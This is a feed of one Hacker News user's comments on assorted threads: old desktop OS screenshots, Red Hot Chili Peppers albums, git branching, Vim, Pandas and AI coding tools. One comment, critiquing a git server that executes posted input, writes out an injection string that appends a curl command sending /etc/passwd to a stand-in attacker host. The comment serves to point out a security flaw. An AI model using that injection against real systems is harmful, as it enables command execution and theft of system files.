Hacker News: aidos

New comment by aidos in "Screenshots of Old Desktop OSes"

aidos — Tue, 12 May 2026 08:12:25 +0000

Alleycat in CGA just hit me hard.

For the people that didn’t live through this time, lining these images up makes it obvious why those that did speak of how visually impressive the Amiga was.

New comment by aidos in "Red Hot Chili Peppers ink $300M deal with Warner Music to sell catalog"

aidos — Mon, 11 May 2026 20:42:46 +0000

Fair. It did have George Clinton at the helm.

I loved all the early stuff. Freaky Styley, Mothers Milk, The Uplift Mofo party plan. With Rick Rubin at the controls I just think Blood Sugar Sex Magik took their sound to another level.

New comment by aidos in "Red Hot Chili Peppers ink $300M deal with Warner Music to sell catalog"

aidos — Mon, 11 May 2026 20:17:56 +0000

That does seem like less than I would expect!

It always makes me a bit sad that everyone knows RHCP but less so their early stuff. Blood sugar sex magik is a funk masterpiece. Didn’t help that for years Spotify used the singles versions of the tracks so the levels were all over the place and it was basically unstreamable.

New comment by aidos in "Git commands I run before reading any code"

aidos — Wed, 08 Apr 2026 21:46:29 +0000

Can you explain how conflicts are not conflicts?

If I change a line of code several times and rebase on to a branch that changed the same lines of code, how are you sure what the right one is?

New comment by aidos in "Neovim 0.12.0"

aidos — Sun, 29 Mar 2026 21:47:51 +0000

Multi threading, but yeah.

Original HN post here if you’re interested. https://news.ycombinator.com/item?id=7279358

New comment by aidos in "The first 40 months of the AI era"

aidos — Sat, 28 Mar 2026 22:19:50 +0000

> To what degree did I expand scope because I knew I could do more using the AI?

Someone at work recently termed this “Claude Creep”. It’s so easy to generate things push you towards going further but the reality is that’s you’re setting yourself up for more and more work to get them over the line.

New comment by aidos in "Claude Code 500s"

aidos — Tue, 17 Mar 2026 19:48:06 +0000

Yup same. Going a little insane trying to set up a new device that's having network issues. Claude was helping me diagnose. Seems like I've infected the whole internet.

New comment by aidos in "Shall I implement it? No"

aidos — Fri, 13 Mar 2026 09:33:42 +0000

One annoying thing about that flow is that when you change the world outside the model it breaks its assumptions and it loses its way faster (in my experience).

New comment by aidos in "Write-only code"

aidos — Sun, 22 Feb 2026 22:31:25 +0000

Ha! I had someone doing a task the other day and the llm they used wrote a regex in Perl. I joked that in 25 years all the seems to have changed is the number of layers between me and Perl.

New comment by aidos in "Trunk Based Development"

aidos — Sun, 22 Feb 2026 09:37:49 +0000

For me, all the code in the PR at that point is in question. The code was changed as part of a bigger part of work and reverting it without understanding why might cause issues back the other way.

The other thing to say - that is missing from this conversation - is that if you’re using github, the original commits are still against the PR.

New comment by aidos in "Trunk Based Development"

aidos — Sat, 21 Feb 2026 21:42:08 +0000

Maybe a slight misinterpretation of what I meant. The commit that goes with a PR is definitely useful context, but I’ve found more granular than that is seldom useful. Even big ones like “move from angular to react” - the details of someone getting something wrong in there don’t matter, it’s the scale of it that just makes me go “oh yeah, this is bound to be a mistake”.

Maybe different in other places, but after 15 years in my codebase, I’m still happy with a simple linear history.

New comment by aidos in "Claws are now a new layer on top of LLM agents"

aidos — Sat, 21 Feb 2026 19:24:00 +0000

Sudden flashbacks to when I was trying to figure out why there was so much traffic to a blog post (15+ years ago).

I guess the internet was looking for something different to my “kick-[ass open]-source software”.

New comment by aidos in "Trunk Based Development"

aidos — Sat, 21 Feb 2026 10:15:33 +0000

It’s pretty hard to keep the commits in a working branch in a good legible state - certainly it takes work to do it.

In 25 years of professional development I’ve never really had a situation where the commits on a branch would have helped me understand what was going on a year ago when the work was done. That includes pretty big bits of project work.

I’d much rather have a trunk with commits at the granularity of features.

New comment by aidos in "Gemini 3 Deep Think drew me a good SVG of a pelican riding a bicycle"

aidos — Sat, 14 Feb 2026 20:07:13 +0000

The bicycles are getting pretty cyclable now. I’m enjoying this pelican that’s already sliced and ready to bbq.

New comment by aidos in "The wonder of modern drywall"

aidos — Fri, 13 Feb 2026 08:04:55 +0000

Ha! If I even look at my lath and plaster walls the wrong way a little bit crumbles away.

New comment by aidos in "Netbird – Open Source Zero Trust Networking"

aidos — Sun, 01 Feb 2026 11:23:37 +0000

You can create an oauth client that can generate keys as you need them.

https://tailscale.com/kb/1215/oauth-clients#generating-long-...

New comment by aidos in "Coding is when we're least productive"

aidos — Sat, 31 Jan 2026 12:26:33 +0000

Vim recognises that the typing text is a small part of coding by defaulting to a mode in which you can’t even type :)

For me, vim is a nice way to navigate code. It’s really fast to jump from place to place so I can explore quickly and build an understanding.

New comment by aidos in "Pandas 3.0"

aidos — Wed, 28 Jan 2026 18:44:05 +0000

> allows functions to read the context they’re called in

Can you show an example? Seems interesting considering that code knowing about external context is not generally a good pattern when it comes to maintainability (security, readability).

I’ve lived through some horrific 10M line coldfusion codebases that embraced this paradigm to death - they were a whole other extreme where you could _write_ variables in the scope of where you were called from!

New comment by aidos in "Porting 100k lines from TypeScript to Rust using Claude Code in a month"

aidos — Mon, 26 Jan 2026 23:17:56 +0000

Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http.

But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'

https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...

New comment by aidos in "80386 Multiplication and Division"

aidos — Sat, 24 Jan 2026 10:06:56 +0000

Not sure if it has a name but often there’s a trend of “one thing leads to another” related articles on the HN front page.

Yesterday there was something similar that might have planted a seed in your mind like it did for other people.

https://news.ycombinator.com/item?id=46735133